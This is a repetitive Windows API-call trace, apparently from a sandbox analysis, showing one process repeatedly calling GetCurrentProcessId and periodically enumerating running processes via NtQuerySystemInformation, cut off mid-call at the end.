GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.200] GetCurrentProcessId () returned 0x388 [0124.201] GetCurrentProcessId () returned 0x388 [0124.201] GetCurrentProcessId () returned 0x388 [0124.201] GetCurrentProcessId () returned 0x388 [0124.766] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cb48) returned 0x0 [0124.782] GetCurrentProcessId () returned 0x388 [0124.782] GetCurrentProcessId () returned 0x388 [0124.782] GetCurrentProcessId () returned 0x388 [0124.782] GetCurrentProcessId () returned 0x388 [0124.782] GetCurrentProcessId () returned 0x388 [0124.782] GetCurrentProcessId () returned 0x388 [0124.782] GetCurrentProcessId () returned 0x388 [0124.782] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.783] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.784] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.785] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0124.786] GetCurrentProcessId () returned 0x388 [0125.338] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1ca58) returned 0x0 [0125.344] GetCurrentProcessId () returned 0x388 [0125.344] GetCurrentProcessId () returned 0x388 [0125.344] GetCurrentProcessId () returned 0x388 [0125.344] GetCurrentProcessId () returned 0x388 [0125.344] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.345] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.346] GetCurrentProcessId () returned 0x388 [0125.347] GetCurrentProcessId () returned 0x388 [0125.347] GetCurrentProcessId () returned 0x388 [0125.347] GetCurrentProcessId () returned 0x388 [0125.347] GetCurrentProcessId () returned 0x388 [0125.347] GetCurrentProcessId () returned 0x388 [0125.347] GetCurrentProcessId () returned 0x388 [0125.347] GetCurrentProcessId () returned 0x388 [0125.347] GetCurrentProcessId () returned 0x388 [0125.347] GetCurrentProcessId () returned 0x388 [0125.347] GetCurrentProcessId () returned 0x388 [0125.347] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.348] GetCurrentProcessId () returned 0x388 [0125.869] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1caa8) returned 0x0 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.888] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.889] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.890] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.891] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0125.892] GetCurrentProcessId () returned 0x388 [0126.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13155908, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x13155908, ResultLength=0x1b98eca0*=0x1ca58) returned 0x0 [0127.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1caa8) returned 0x0 [0128.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cd98) returned 0x0 [0128.382] GetCurrentProcessId () returned 0x388 [0128.382] GetCurrentProcessId () returned 0x388 [0128.382] GetCurrentProcessId () returned 0x388 [0128.382] GetCurrentProcessId () returned 0x388 [0128.382] GetCurrentProcessId () returned 0x388 [0128.382] GetCurrentProcessId () returned 0x388 [0128.382] GetCurrentProcessId () returned 0x388 [0128.382] GetCurrentProcessId () returned 0x388 [0128.382] GetCurrentProcessId () returned 0x388 [0128.382] GetCurrentProcessId () returned 0x388 [0128.382] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.385] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.386] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.387] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.388] GetCurrentProcessId () returned 0x388 [0128.389] GetCurrentProcessId () returned 0x388 [0128.932] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1cd98) returned 0x0 [0128.940] GetCurrentProcessId () returned 0x388 [0128.940] GetCurrentProcessId () returned 0x388 [0128.940] GetCurrentProcessId () returned 0x388 [0128.940] GetCurrentProcessId () returned 0x388 [0128.940] GetCurrentProcessId () returned 0x388 [0128.940] GetCurrentProcessId () returned 0x388 [0128.940] GetCurrentProcessId () returned 0x388 [0128.940] GetCurrentProcessId () returned 0x388 [0128.940] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.941] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.942] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.943] GetCurrentProcessId () returned 0x388 [0128.944] GetCurrentProcessId () returned 0x388 [0128.944] GetCurrentProcessId () returned 0x388 [0128.944] GetCurrentProcessId () returned 0x388 [0128.944] GetCurrentProcessId () returned 0x388 [0128.944] GetCurrentProcessId () returned 0x388 [0128.944] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.945] GetCurrentProcessId () returned 0x388 [0128.946] GetCurrentProcessId () returned 0x388 [0128.946] GetCurrentProcessId () returned 0x388 [0128.946] GetCurrentProcessId () returned 0x388 [0128.946] GetCurrentProcessId () returned 0x388 [0128.946] GetCurrentProcessId () returned 0x388 [0128.946] GetCurrentProcessId () returned 0x388 [0129.655] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, ResultLength=0x1b98eca0*=0x1d038) returned 0x0 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.672] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.673] GetCurrentProcessId () returned 0x388 [0129.674] GetCurrentProcessId () returned 0x388 [0129.674] GetCurrentProcessId () returned 0x388 [0130.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x131358d0, 